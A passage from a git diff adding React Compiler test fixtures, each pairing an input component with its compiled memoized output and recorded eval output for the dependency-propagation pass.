+function useFoo({screen}: {screen: null | undefined | {title_text: null}}) {
+  return screen?.title_text != null
+    ? '(not null)'
+    : identity({title: screen.title_text});
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{screen: null}],
+  sequentialRenders: [{screen: {title_bar: undefined}}, {screen: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { identity } from "shared-runtime";
+
+/**
+ * Very contrived text fixture showing that it's technically incorrect to merge
+ * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an
+ * unconditionally evaluated optional chain (`dep?.path`).
+ *
+ *
+ * when screen is non-null, useFoo returns { title: null } or "(not null)"
+ * when screen is null, useFoo throws
+ */
+function useFoo(t0) {
+  const $ = _c(2);
+  const { screen } = t0;
+  let t1;
+  if ($[0] !== screen) {
+    t1 =
+      screen?.title_text != null
+        ? "(not null)"
+        : identity({ title: screen.title_text });
+    $[0] = screen;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ screen: null }],
+  sequentialRenders: [{ screen: { title_bar: undefined } }, { screen: null }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {}
+[[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/merge-uncond-optional-chain-and-cond.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/merge-uncond-optional-chain-and-cond.ts
new file mode 100644
index 000000000000..2275412d777b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/merge-uncond-optional-chain-and-cond.ts
@@ -0,0 +1,22 @@
+// @enablePropagateDepsInHIR
+import {identity} from 'shared-runtime';
+
+/**
+ * Very contrived text fixture showing that it's technically incorrect to merge
+ * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an
+ * unconditionally evaluated optional chain (`dep?.path`).
+ *
+ *
+ * when screen is non-null, useFoo returns { title: null } or "(not null)"
+ * when screen is null, useFoo throws
+ */
+function useFoo({screen}: {screen: null | undefined | {title_text: null}}) {
+  return screen?.title_text != null
+    ? '(not null)'
+    : identity({title: screen.title_text});
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{screen: null}],
+  sequentialRenders: [{screen: {title_bar: undefined}}, {screen: null}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/promote-uncond.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/promote-uncond.expect.md
new file mode 100644
index 000000000000..0456ca82f64d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/promote-uncond.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+// When a conditional dependency `props.a.b.c` has no unconditional dependency
+// in its subpath or superpath, we should find the nearest unconditional access
+
+import {identity} from 'shared-runtime';
+
+// and promote it to an unconditional dependency.
+function usePromoteUnconditionalAccessToDependency(props, other) {
+  const x = {};
+  x.a = props.a.a.a;
+  if (identity(other)) {
+    x.c = props.a.b.c;
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: usePromoteUnconditionalAccessToDependency,
+  params: [{a: {a: {a: 3}}}, false],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+// When a conditional dependency `props.a.b.c` has no unconditional dependency
+// in its subpath or superpath, we should find the nearest unconditional access
+
+import { identity } from "shared-runtime";
+
+// and promote it to an unconditional dependency.
+function usePromoteUnconditionalAccessToDependency(props, other) {
+  const $ = _c(4);
+  let x;
+  if ($[0] !== other || $[1] !== props.a.a.a || $[2] !== props.a.b) {
+    x = {};
+    x.a = props.a.a.a;
+    if (identity(other)) {
+      x.c = props.a.b.c;
+    }
+    $[0] = other;
+    $[1] = props.a.a.a;
+    $[2] = props.a.b;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: usePromoteUnconditionalAccessToDependency,
+  params: [{ a: { a: { a: 3 } } }, false],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"a":3}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/promote-uncond.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/promote-uncond.js
new file mode 100644
index 000000000000..ef585f19ea56
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/promote-uncond.js
@@ -0,0 +1,20 @@
+// @enablePropagateDepsInHIR
+// When a conditional dependency `props.a.b.c` has no unconditional dependency
+// in its subpath or superpath, we should find the nearest unconditional access
+
+import {identity} from 'shared-runtime';
+
+// and promote it to an unconditional dependency.
+function usePromoteUnconditionalAccessToDependency(props, other) {
+  const x = {};
+  x.a = props.a.a.a;
+  if (identity(other)) {
+    x.c = props.a.b.c;
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: usePromoteUnconditionalAccessToDependency,
+  params: [{a: {a: {a: 3}}}, false],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.expect.md
new file mode 100644
index 000000000000..ed56ff068113
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+
+import {Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  return <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [
+    {a: null},
+    {a: {b: null}},
+    {a: {b: {c: {d: null}}}},
+    {a: {b: {c: {d: {e: 4}}}}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let t1;
+  if ($[0] !== a.b?.c.d?.e) {
+    t1 = <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;
+    $[0] = a.b?.c.d?.e;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [
+    { a: null },
+    { a: { b: null } },
+    { a: { b: { c: { d: null } } } },
+    { a: { b: { c: { d: { e: 4 } } } } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"fn":{"kind":"Function"},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function"},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function","result":4},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.tsx
new file mode 100644
index 000000000000..4a2072131e43
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.tsx
@@ -0,0 +1,18 @@
+// @enablePropagateDepsInHIR
+
+import {Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  return <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [
+    {a: null},
+    {a: {b: null}},
+    {a: {b: {c: {d: null}}}},
+    {a: {b: {c: {d: {e: 4}}}}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-invariant.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-invariant.expect.md
new file mode 100644
index 000000000000..73df2b615b9e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-invariant.expect.md
@@ -0,0 +1,61 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {Stringify} from 'shared-runtime';
+
+function Foo({data}) {
+  return (
+    <Stringify foo={() => data.a.d} bar={data.a?.b.c} shouldInvokeFns={true} />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{data: {a: null}}],
+  sequentialRenders: [{data: {a: {b: {c: 4}}}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { Stringify } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(5);
+  const { data } = t0;
+  let t1;
+  if ($[0] !== data.a.d) {
+    t1 = () => data.a.d;
+    $[0] = data.a.d;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const t2 = data.a?.b.c;
+  let t3;
+  if ($[2] !== t1 || $[3] !== t2) {
+    t3 = <Stringify foo={t1} bar={t2} shouldInvokeFns={true} />;
+    $[2] = t1;
+    $[3] = t2;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ data: { a: null } }],
+  sequentialRenders: [{ data: { a: { b: { c: 4 } } } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"foo":{"kind":"Function"},"bar":4,"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-invariant.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-invariant.tsx
new file mode 100644
index 000000000000..05ed136d5f7a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-invariant.tsx
@@ -0,0 +1,14 @@
+// @enablePropagateDepsInHIR
+import {Stringify} from 'shared-runtime';
+
+function Foo({data}) {
+  return (
+    <Stringify foo={() => data.a.d} bar={data.a?.b.c} shouldInvokeFns={true} />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{data: {a: null}}],
+  sequentialRenders: [{data: {a: {b: {c: 4}}}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-scope-missing-mutable-range.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-scope-missing-mutable-range.expect.md
new file mode 100644
index 000000000000..9d232d8e7816
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-scope-missing-mutable-range.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function HomeDiscoStoreItemTileRating(props) {
+  const item = useFragment();
+  let count = 0;
+  const aggregates = item?.aggregates || [];
+  aggregates.forEach(aggregate => {
+    count += aggregate.count || 0;
+  });
+
+  return <Text>{count}</Text>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function HomeDiscoStoreItemTileRating(props) {
+  const $ = _c(4);
+  const item = useFragment();
+  let count;
+  if ($[0] !== item?.aggregates) {
+    count = 0;
+    const aggregates = item?.aggregates || [];
+    aggregates.forEach((aggregate) => {
+      count = count + (aggregate.count || 0);
+      count;
+    });
+    $[0] = item?.aggregates;
+    $[1] = count;
+  } else {
+    count = $[1];
+  }
+  let t0;
+  if ($[2] !== count) {
+    t0 = <Text>{count}</Text>;
+    $[2] = count;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/repro-scope-missing-mutable-range.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-scope-missing-mutable-range.js
similarity index 76%
rename from compiler/crates/react_hermes_parser/tests/fixtures/repro-scope-missing-mutable-range.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-scope-missing-mutable-range.js
index de75ef7270e7..71933018ccb2 100644
--- a/compiler/crates/react_hermes_parser/tests/fixtures/repro-scope-missing-mutable-range.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/repro-scope-missing-mutable-range.js
@@ -1,8 +1,9 @@
+// @enablePropagateDepsInHIR
 function HomeDiscoStoreItemTileRating(props) {
   const item = useFragment();
   let count = 0;
   const aggregates = item?.aggregates || [];
-  aggregates.forEach((aggregate) => {
+  aggregates.forEach(aggregate => {
     count += aggregate.count || 0;
   });
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-cascading-eliminated-phis.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-cascading-eliminated-phis.expect.md
new file mode 100644
index 000000000000..6277ffbf404f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-cascading-eliminated-phis.expect.md
@@ -0,0 +1,94 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  let x = 0;
+  const values = [];
+  const y = props.a || props.b;
+  values.push(y);
+  if (props.c) {
+    x = 1;
+  }
+  values.push(x);
+  if (props.d) {
+    x = 2;
+  }
+  values.push(x);
+  return values;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 1, c: true, d: true}],
+  sequentialRenders: [
+    {a: 0, b: 1, c: true, d: true},
+    {a: 4, b: 1, c: true, d: true},
+    {a: 4, b: 1, c: false, d: true},
+    {a: 4, b: 1, c: false, d: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(7);
+  let x = 0;
+  let values;
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d ||
+    $[4] !== x
+  ) {
+    values = [];
+    const y = props.a || props.b;
+    values.push(y);
+    if (props.c) {
+      x = 1;
+    }
+
+    values.push(x);
+    if (props.d) {
+      x = 2;
+    }
+
+    values.push(x);
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = x;
+    $[5] = values;
+    $[6] = x;
+  } else {
+    values = $[5];
+    x = $[6];
+  }
+  return values;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 1, c: true, d: true }],
+  sequentialRenders: [
+    { a: 0, b: 1, c: true, d: true },
+    { a: 4, b: 1, c: true, d: true },
+    { a: 4, b: 1, c: false, d: true },
+    { a: 4, b: 1, c: false, d: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [1,1,2]
+[4,1,2]
+[4,0,2]
+[4,0,0]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-cascading-eliminated-phis.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-cascading-eliminated-phis.js
new file mode 100644
index 000000000000..eb1dde9a9d60
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-cascading-eliminated-phis.js
@@ -0,0 +1,27 @@
+// @enablePropagateDepsInHIR
+function Component(props) {
+  let x = 0;
+  const values = [];
+  const y = props.a || props.b;
+  values.push(y);
+  if (props.c) {
+    x = 1;
+  }
+  values.push(x);
+  if (props.d) {
+    x = 2;
+  }
+  values.push(x);
+  return values;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 1, c: true, d: true}],
+  sequentialRenders: [
+    {a: 0, b: 1, c: true, d: true},
+    {a: 4, b: 1, c: true, d: true},
+    {a: 4, b: 1, c: false, d: true},
+    {a: 4, b: 1, c: false, d: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-leave-case.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-leave-case.expect.md
new file mode 100644
index 000000000000..2b3d6598d91a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-leave-case.expect.md
@@ -0,0 +1,84 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  let x = [];
+  let y;
+  if (props.p0) {
+    x.push(props.p1);
+    y = x;
+  }
+  return (
+    <Stringify>
+      {x}
+      {y}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{p0: false, p1: 2}],
+  sequentialRenders: [
+    {p0: false, p1: 2},
+    {p0: false, p1: 2},
+    {p0: true, p1: 2},
+    {p0: true, p1: 3},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { Stringify } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(3);
+  let t0;
+  if ($[0] !== props.p0 || $[1] !== props.p1) {
+    const x = [];
+    let y;
+    if (props.p0) {
+      x.push(props.p1);
+      y = x;
+    }
+    t0 = (
+      <Stringify>
+        {x}
+        {y}
+      </Stringify>
+    );
+    $[0] = props.p0;
+    $[1] = props.p1;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ p0: false, p1: 2 }],
+  sequentialRenders: [
+    { p0: false, p1: 2 },
+    { p0: false, p1: 2 },
+    { p0: true, p1: 2 },
+    { p0: true, p1: 3 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":[[],null]}</div>
+<div>{"children":[[],null]}</div>
+<div>{"children":[[2],"[[ cyclic ref *2 ]]"]}</div>
+<div>{"children":[[3],"[[ cyclic ref *2 ]]"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-leave-case.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-leave-case.js
new file mode 100644
index 000000000000..f13f66c590ab
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-leave-case.js
@@ -0,0 +1,28 @@
+// @enablePropagateDepsInHIR
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  let x = [];
+  let y;
+  if (props.p0) {
+    x.push(props.p1);
+    y = x;
+  }
+  return (
+    <Stringify>
+      {x}
+      {y}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{p0: false, p1: 2}],
+  sequentialRenders: [
+    {p0: false, p1: 2},
+    {p0: false, p1: 2},
+    {p0: true, p1: 2},
+    {p0: true, p1: 3},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction-with-mutation.expect.md
new file mode 100644
index 000000000000..eb623477049b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction-with-mutation.expect.md
@@ -0,0 +1,67 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
+  let x;
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
+    x = [];
+    x.push(props.bar);
+    props.cond ? (([x] = [[]]), x.push(props.foo)) : null;
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [55,"joe"]
+[55,"joe"]
+[3,"joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction-with-mutation.js
new file mode 100644
index 000000000000..1ea8b35addd9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction-with-mutation.js
@@ -0,0 +1,20 @@
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction.expect.md
new file mode 100644
index 000000000000..a737b1809469
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function useFoo(props) {
+  const $ = _c(5);
+  let x;
+  if ($[0] !== props.bar) {
+    x = [];
+    x.push(props.bar);
+    $[0] = props.bar;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  if ($[2] !== props.cond || $[3] !== props.foo) {
+    props.cond ? (([x] = [[]]), x.push(props.foo)) : null;
+    $[2] = props.cond;
+    $[3] = props.foo;
+    $[4] = x;
+  } else {
+    x = $[4];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [55]
+[55]
+[3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction.js
new file mode 100644
index 000000000000..2f37cdabb47f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-destruction.js
@@ -0,0 +1,17 @@
+// @enablePropagateDepsInHIR
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-with-mutation.expect.md
new file mode 100644
index 000000000000..6a2184712a81
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-with-mutation.expect.md
@@ -0,0 +1,67 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
+  let x;
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
+    x = [];
+    x.push(props.bar);
+    props.cond ? ((x = []), x.push(props.foo)) : null;
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [55,"joe"]
